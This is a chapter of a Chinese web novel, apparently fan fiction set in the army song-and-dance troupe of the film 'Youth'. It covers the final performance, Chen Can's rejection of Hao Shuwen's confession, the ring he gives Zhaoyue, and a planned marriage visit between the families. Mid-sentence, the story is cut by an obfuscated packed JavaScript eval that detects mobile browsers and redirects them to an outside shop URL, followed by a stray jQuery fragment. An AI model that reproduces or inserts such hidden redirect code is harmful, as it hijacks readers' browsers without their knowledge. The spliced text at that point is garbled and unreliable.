所有人在大礼堂中央列队站好,兆悦心里轻轻一沉,已经猜到——政委要宣布,这是他们文工团的最后一场演出。
但这一次,她心里格外轻松。
因为她和陈灿,已经彻底落定了。
陈灿甚至偷偷写了一大段话,打算回去跟他父亲摊牌,只是他还不知道,兆悦的家庭情况早已被他父亲摸清,而兆悦也还没来得及细说,此刻只有他一个人还被蒙在鼓里,紧张又兴奋地做着“对抗家里”的准备。
兆悦望着眼前熟悉的一张张面孔,心里感慨万千。
她想起电影里的结局:刘峰断了胳膊、瘸了腿,何小萍精神崩溃,即便成了战斗英雄,也只能坐在精神病科看演出,最后一个人跑到外面草地上独舞。
可这一次,因为她的到来,一切都变了。
她真的挽救了想挽救的人,守护了想守护的人。
这份踏实,比什么都让她安心。
一旁的陈灿,更是高兴得快要飘起来。
只要说服父母,只要两边家里不反对,他和兆悦就真的能稳稳当当在一起。
失而复得,心意明了,未来在望,他嘴角的笑压都压不住,整个人亮得刺眼。
就在这时,政委大步走了进来,神色严肃。
他站在队伍前方,开口训话:“今天晚上,是我们最后一次演出。
这是你们最后一次相互伴舞、伴唱,最后一次这样紧密合作。
再往后,你们就各奔东西,各奔前程了。”
礼堂里瞬间安静下来,离别的悲伤悄悄漫开。
政委顿了顿,声音沉了几分:“今晚的观众,也不是普通观众。他们大部分,是从前线回来的伤员。
其中还有更特殊的伤员——他们的伤,不在身上,在心里,在精神上。
都准备好了没有?”
众人还沉浸在即将解散的低落里,没人立刻应声。
政委再一次提高声音,厉声问:“都——准备好了没有?”
“准备好了!”
整齐的回答响彻礼堂。
可这声整齐底下,各有各的心事。
萧穗子垂着眼,心里比谁都沉。
她不仅要失去文工团,失去一起长大的伙伴,还失去了藏了这么多年的喜欢。
往后,她甚至不知道该怎么面对兆悦,面对这份既珍贵又尴尬的友情。
今晚的演出,由兆悦主持。
这一次没有钢琴,没有大段舞蹈,她几乎不用太多动作,只需要稳稳站在台上,把一场一场节目串下来。
可她的目光,却一直没离开两个人——郝淑雯,和陈灿。
她早就察觉到郝淑雯对陈灿态度的剧变,也看得明白,那是势在必得的喜欢。
她甚至猜到,郝淑雯多半会选在今天,选在这最后一场演出前后,跟陈灿表白。
电影里,陈灿答应了。
可现在,不一样了。
兆悦心里稳稳的,这份底气,是她自己挣来的,也是陈灿给她的。
她不急,也不慌。
她就是想亲眼看一看——那个从前总带头苛责何小萍、处处强势的姑娘,在这场明明白白的心意面前,到底会迎来什么样的结果。
86. 日期
演出还在礼堂里热烈进行着,掌声与歌声不断传出。
陈灿却借着中场间隙,悄悄从侧门走了出来,独自站在夜色笼罩的草坪上。
晚风轻轻吹过,他下意识摸了摸自己刚安好的假牙,心底那点别扭始终挥之不去。
那条金项链,是他亲手送给兆悦的,连上面的蝴蝶结,都是他一点点认真打好的。
那是他给她的心意,是独属于他们两个人的小秘密。
可如今,这条项链却被熔掉,做成了他自己假牙的底座,重新回到了他身上。
道理上他明白,是兆悦心疼他、在乎他,才会毫不犹豫拿出最珍贵的东西救急。
可作为男人,他心里那点自尊与面子,终究还是有些过不去。
送出去的心意,兜兜转转竟用在了自己身上,总觉得不够体面,也委屈了兆悦。
一想到这里,何小萍那句斩钉截铁的“你是个男人”,又在脑海里重重响起。
就是这句话,逼得他幡然醒悟,也逼得他下定决心,要给兆悦一份真正像样的承诺。
他早偷偷想好了鬼点子,直接软磨硬泡,从最疼他的奶奶那里,把家里的金子和翡翠都哄骗了出来。
奶奶一听说是要给未来孙媳妇准备的,半点没犹豫,笑得合不拢嘴,当场就把压箱底的金子和翡翠全掏了出来,半点都不心疼。
陈灿拿着这些东西,悄悄找地方打成了一枚简简单单、却沉甸甸的金戒指。
他今晚就想借着这最后一场演出的机会,把戒指亲手给兆悦戴上,给她一份认认真真的仪式感。
他指尖在口袋里反复摩挲着那枚金戒指,满心都是等会儿见到兆悦的模样,还没等他迈开步子,身后便传来了脚步声。
陈灿回头,却发现不是自己等的人,来人是郝淑雯。
她一改往日里针锋相对的泼辣,难得有些扭捏。
可那份刻在骨子里的自傲与得意,依旧明晃晃地写在脸上,带着北方姑娘独有的直接与强势。
她走到陈灿面前站定,深吸一口气,抬眼看向他,语气带着十足的底气与自鸣得意:“陈灿,有些话我今天必须跟你说清楚。”
陈灿眉头微不可查地蹙了一下,语气平淡:“你说。”
郝淑雯挺了挺胸,一脸理所应当的模样,开口便是家世盘算:“你爸是昆明军区副司令,我爸是军长,咱们两家门当户对,谁也不亏谁,整个文工团,也就我配得上你。”
她说完,又自信满满地补充了一句:“而且我人、家世、本事,哪一样拿不出来?”
在她看来,这番话一说出口,陈灿根本没有拒绝的理由。
可陈灿只是奇怪地看着她,没有半分动容,语气平静却带着不容置疑的坚定:“我已经有结婚对象了。”
郝淑雯脸上的笑容瞬间僵住,眼神里满是错愕与不敢置信:“结婚对象?谁啊?整个文工团还能有谁配得上你?”
陈灿抬眼,毫不犹豫地说出那个名字:“兆悦。”
“兆悦?!”
郝淑雯猛地拔高了声音,像是听到了天大的笑话,震惊得后退了小半步,脸上的骄傲瞬间碎裂。
她瞬间联想起了之前无数个暗戳戳的细节——陈灿对兆悦的特殊、兆悦的闪躲、那条项链的风波,所有被她忽略的蛛丝马迹,此刻全都串在了一起。
可她接受不了,更觉得难堪至极。
凭什么是兆悦?
郝淑雯脸色一阵青一阵白,语气里满是不服与贬低,尖声说道:“兆悦?她有什么好的?她家不就是个普通干部吗?
最多也就是个团长的女儿,跟我们家能比?她不就是有点身段、长了张好看的脸吗?除了这个她还有什么?”
这话一出,陈灿的脸色瞬间沉了下来,眼神冷得吓人,周身的气压骤然降低。
他往前一步,目光锐利地盯着郝淑雯,语气严厉又决绝,没有半分情面:“你闭嘴。”
郝淑雯被他这气势吓了一跳,却还是不甘心地梗着脖子。
陈灿声音冰冷,字字掷地有声:“不管你家里是什么背景,也不管你觉得自己有多好,我这辈子都不可能看上你。
兆悦是什么样的人,轮不到你置喙,更不允许你这么贬低她。
以后再让我听到你说她一句不好,别怪我不客气。”
一番话,说得斩钉截铁,不留半点余地。
郝淑雯僵在原地,脸色惨白,难堪与屈辱瞬间涌上心头,骄傲碎得一干二净,整个人都愣在了草坪上,一句话也说不出来。
当然,这一切全都被躲在树后的兆悦一字不落地听进了心里。
她捂住嘴,才没让自己当场笑出声,心脏砰砰直跳,甜得快要溢出来。
等到郝淑雯失魂落魄地转身离开,陈灿还站在原地望着她的背影轻轻皱眉,兆悦才悄悄踮着脚,一溜烟从树后退了出去,蹦蹦跳跳地跑回了礼堂侧幕。
一见到靠在墙边安静等候的何小萍,兆悦再也忍不住,直接扑上去给了她一个结结实实的大熊抱。
何小萍整个人都僵住了,一脸茫然地被她抱着,完全没反应过来发生了什么。
可感受到怀中人雀跃得快要飞起来的开心,她也慢慢放松下来,笨拙而温柔地抬起手,轻轻回抱了兆悦一下。
兆悦埋在她肩头,笑得眼睛都弯成了月牙,满心满眼都是藏不住的欢喜。
当然啦,当天晚上演出彻底结束后,兆悦还是收到了陈灿准备的那枚金戒指。
陈灿不懂什么单膝下跪,也不会那些花哨的仪式,只是紧张又认真地把戒指从口袋里掏出来,笨手笨脚地往兆悦手指上套。
兆悦也没要求那么多,看着他局促又真诚的样子,心里早就甜化了,主动伸出手,让他把戒指稳稳戴在了自己的指间。
月光洒在草坪上,落在两枚相扣的手上,也落在那枚沉甸甸的金戒指上。
两个人就只是相拥在一起,没有多余的话,只有彼此靠近的温度和稳稳的安心。
一整晚,兆悦的嘴角就没有放下来过。
第二天一早,陈灿顶着一对浓重的黑眼圈出现,整个人透着一种实打实的劫后余生。
昨晚月下的甜蜜还没散,可一想起前一晚听到的事,他心里就一阵阵地发虚。
昨晚临睡前,杭春明趴在床上给杨铮写信。
陈灿那时候还沉浸在送戒指、定终身的欢喜里,随口搭了句:“你给杨铮写信呢?帮我也问一句。”
杭春明握笔的手一顿,抬头一脸古怪地看了他一眼。
陈灿被看得莫名其妙:“怎么了?”
杭春明这才反应过来——兆悦压根没跟陈灿提过杨铮表白的事。
他犹豫了一下,本来想瞒过去,可陈灿天生敏感,又向来在意兆悦身边的人,立刻追着问。
被缠得没办法,杭春明只好轻描淡写把事儿说了:“就……杨铮哥临走之前,跟悦儿姐表白了。”
就这一句。
陈灿脸上的笑瞬间僵住。
他不是不知道杨铮。
整个文工团里,他最有危机感的人就是杨铮——稳重、踏实、对兆悦好得明目张胆。
他一直隐隐觉得这人不一般,可没想到,对方是真的动了心,还真的表白了。
那一晚,他彻底没睡。
越想越后怕,越想越心惊。
说不定就差一点。
就差那么一点点,他还在犹豫、还在顾虑、还在躲躲藏藏。
差一点,他就把身边这个人,彻底拱手让人了。
此刻再想想昨晚戴在兆悦手上的那枚金戒指,陈灿狠狠吸了口气。
什么面子,什么顾虑,什么家里反对,全都靠边站。
这哪里是普通的失而复得。
这是真真正正、从别人手里把人抢回来的劫后余生。
他摸了摸还有点发僵的嘴角,低声喃喃
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309168|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一句:“还好……还好老子没再犯浑。”
不然,现在抱着戒指后悔的,就是他了。
清晨的阳光刚漫过院墙,陈灿就攥着父亲的回信,指尖绷得发白。
他拆开信封,里面没有严厉的斥责,没有强硬的反对,只有一行简短却让他心头发紧的字:已与兆悦父母沟通,拟定某月某日。
没有下文,没有解释,只有一个冷冰冰的日期。
陈副司令自然是以为自己儿子知道兆悦家庭背景的,所以自然而然认为只要写好日期,儿子能理解。
但结果是,陈灿瞬间懵了,心一下子提到了嗓子眼。
是要勒令他们分手?是要当面施压?还是要彻底断了他们的往来?
越想越慌,他几乎是跑着冲出了男生宿舍,直奔女生宿舍去找兆悦。
两人路过走廊时,迎面撞上郝淑雯,对方狠狠甩给他们一个又冷又怨的白眼,陈灿连眼神都没分给她,满心满眼都是慌乱。
此刻排练厅后台正忙得热火朝天,所有人都在布置今晚的散伙饭,彩带、桌椅、碗筷摆了一地。
两人只能约在了安静的舞美组角落,一见到兆悦,陈灿立刻把信递过去,声音都带着不稳:
“悦儿,你快看看,我爸只写了这个,跟你父母沟通了,还定了个日期……到底是什么意思啊?是不是要我们分开?”
兆悦接过信,轻轻扫了一眼,瞬间没忍住笑出声,伸手轻轻戳了戳他紧绷的脸:“陈灿,你是不是撞坏脑子了,这么简单的话都看不明白?”
她说着,从口袋里拿出自己父母寄来的信,递到他面前:“自己看。”
陈灿双手微颤地拆开,一行行看下去,眼睛越睁越大。
兆悦的父亲是一师之长,母亲在商务局任职,家境并没有多差。
而陈司令早就查清了一切,所谓的“拟定日期”,根本不是什么分手日期,而是陈家主动上门拜访提亲的日子。毕竟不论是谁家,总归是低头娶媳妇,抬头嫁女儿。
看完信,陈灿整个人都僵住,下一秒,巨大的狂喜猛地砸了下来。
他一把抱住兆悦,原地兴奋地转了好几圈,笑声藏都藏不住。
“好呀,你居然一直瞒着我!”陈灿把人放下,反应过来,又气又笑,伸手轻轻刮了下她的鼻尖。
兆悦仰起脸,故意逗他,眼角弯得狡黠:“怎么?不告诉我身份,你就不打算娶我了?非得知道我家底,你才肯点头?”
“胡说八道!”陈灿立刻急了,紧紧攥住她的手,眼神认真,“我不管你家里是什么情况,我早就认定你了。
之前犹豫,只是怕我家里不同意,怕你拒绝我,不是别的。”
兆悦笑得眉眼弯弯,故意踮脚凑到他耳边:“怪不得某人之前还天天愁眉苦脸,怕家里拦着我们。”
陈灿耳尖一红,有点不好意思,却还是理直气壮:“那不是怕你受委屈吗?现在好了,谁也拦不住我们了。”
兆悦笑着捶了他一下:“那你还怪我?”
“不怪不怪,”陈灿立刻把人搂进怀里,语气软得一塌糊涂,“怎么都不怪,你怎样我也喜欢。”
两人在角落打打闹闹,甜得旁若无人,直到外面传来伙伴的呼唤,才赶紧整理好情绪和衣衫。
这天傍晚,文工团排练厅里早已支起了长长的桌椅板凳,碗筷酒杯一字排开。
这是解散前最后的践行酒,也是所有人的散伙饭。
大家整整齐齐落座,气氛伤感又沉默。
没有人知道陈灿和兆悦早已私定终身,更没人知道两家即将提亲会面。
郝淑雯脸色难看地坐在一旁,昨晚被拒的难堪她绝口不提,自然不会把自己的狼狈说给任何人听。
政委端着酒杯站到前方,眼眶微微发红,千言万语最终只化作一句沉重的话:“什么都不说了,全都在酒里。”
酒杯举起,离别的愁绪瞬间漫满了整个大厅。